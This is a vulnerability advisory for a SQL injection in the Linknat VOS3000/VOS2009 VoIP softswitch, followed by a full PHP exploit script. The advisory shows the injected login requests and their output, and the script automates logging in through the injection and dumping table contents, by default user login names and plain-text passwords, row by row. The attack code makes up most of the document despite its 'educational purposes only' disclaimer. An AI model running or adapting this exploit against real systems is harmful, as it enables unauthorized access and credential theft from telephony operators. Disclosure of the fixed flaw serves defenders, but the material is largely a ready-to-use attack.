A SQL injection was found in Linknat VOS3000/VOS2009, a popular VoIP
softswitch, that could allow remote attackers to gain access to the
credentials stored in plain-text.
Application: Linknat VOS3000/VOS2009
Versions Affected: 2.1.1.5, 2.1.1.8, 2.1.2.0
Vendor URL: http://www.linknat.com/
Bug: SQLi (with DBA privileges)
Type: Remote
Resolution: Fixed, upgrade to 2.1.2.4
Reference: WooYun-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458
The SQLi reported is time-based blind. Since it is not an in-band SQLi, the
results can be gathered from the output of welcome.jsp during the same
session.
(1st request)
POST http://target/eng/login.jsp
PARAM loginType=1
name=' union select 1,2,@@version,'hello',5,6#
pass=' OR ''='
(2nd request during the same session)
GET http://target/eng/welcome.jsp
RESULT 0|' union select
1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00|
[ EXPLOIT CODE ]
<?php
#
# Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The exploit is to be used for educational purposes only
# The author would not be responsible for any misuse
#
# AUTHOR: Osama Khalid
# WEBSITE: http://www.codinghazard.com/
# DATE: 19/05/2016
# REF: http://www.wooyun.org/bugs/wooyun-2010-0145458
if ($argc < 2) {
banner();
usage();
exit;
}
$host = $argv[1];
$column_one = isset($argv[2]) ? $argv[2] : "loginname";
$column_two = isset($argv[3]) ? $argv[3] : "password";
$table = isset($argv[4]) ? $argv[4] : "e_user";
$other = isset($argv[5]) ? $argv[5] : "";
function banner() {
echo "########################################\n";
echo "# #\n";
echo "# Linknat VOS3000/VOS2009 SQLi exploit #\n";
echo "# #\n";
echo "# Osama Khalid #\n";
echo "########### codinghazard.com ###########\n";
}
function usage() {
echo "\n";
echo "php vos3000.php [HOST]\n";
echo "php vos3000.php 127.0.0.1\n";
echo "php vos3000.php [HOST] [COL1] [COL2] [TABLE] [OTHER SQL]\n";
echo "php vos3000.php 127.0.0.1 table_schema table_name
information_schema.tables \"where table_schema = 'mysql'\"
\n";
}
function curl($url, $post = array(), $cookies = null, $header = false) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($curl, CURLOPT_HEADER, $header);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
if ($cookies != null)
curl_setopt($curl, CURLOPT_COOKIE, $cookies);
if (count($post) > 0) {
foreach ( $post as $key => $value)
$post_items[] = $key . '=' . urlencode($value);
$post_string = implode('&', $post_items);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string);
}
$data = curl_exec($curl);
curl_close($curl);
return $data;
}
function query($host, $query) {
$data = curl("http://$host/eng/login.jsp", array(
"loginType" => 1,
"name" => "' union " . $query . "#",
"pass" => "' OR ''='"
), null, true);
preg_match_all('|Set-Cookie: (.*);|U', $data, $matches);
$cookies = implode('; ', $matches[1]);
$data = curl("http://$host/eng/welcome.jsp", array(), $cookies, false);
$parts = explode("|", trim($data));
if (count($parts) < 7)
return false;
return array($parts[3], $parts[4]);
}
function ascii_table($data) {
$keys = array_keys(end($data));
$wid = array_map('strlen', $keys);
foreach($data as $row) {
foreach(array_values($row) as $k => $v)
$wid[$k] = max($wid[$k], strlen($v));
}
foreach($wid as $k => $v) {
$fmt[$k] = "%-{$v}s";
$sep[$k] = str_repeat('-', $v);
}
$fmt = '| ' . implode(' | ', $fmt) . ' |';
$sep = '+-' . implode('-+-', $sep) . '-+';
$buf = array($sep, vsprintf($fmt, $keys), $sep);
foreach($data as $row) {
$buf[] = vsprintf($fmt, $row);
$buf[] = $sep;
}
return implode("\n", $buf);
}
banner();
echo "\n";
echo "Target: $host\n";
echo "Column #1: $column_one\n";
echo "Column #2: $column_two\n";
echo "Table: $table\n";
echo "Other: $other\n";
echo "\n";
$results = array();
$count_result = query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table
$other");
if ($count_result) {
$count = intval($count_result[0]);
echo "Found $count rows...\n";
for ($i=0; $i<$count; $i++) {
$q = "SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " . $i . ",1";
$result = query($host, $q);
if ($result) {
echo "R" . ($i+1) . "]\t" . $column_one . " = " .
hex2bin($result[0]) . ", " . $column_two . " = " . hex2bin($result[1]) .
"\n";
} else {
echo "Error retrieving row " . ($i+1) . "\n";
}
$results[] = array($column_one => hex2bin($result[0]), $column_two
=> hex2bin($result[1]));
}
if (count($results) > 0) {
echo "\n\n" . ascii_table($results) . "\n";
}
} else {
echo "Error retrieving row count";
}
?>
-- Osama Khalid
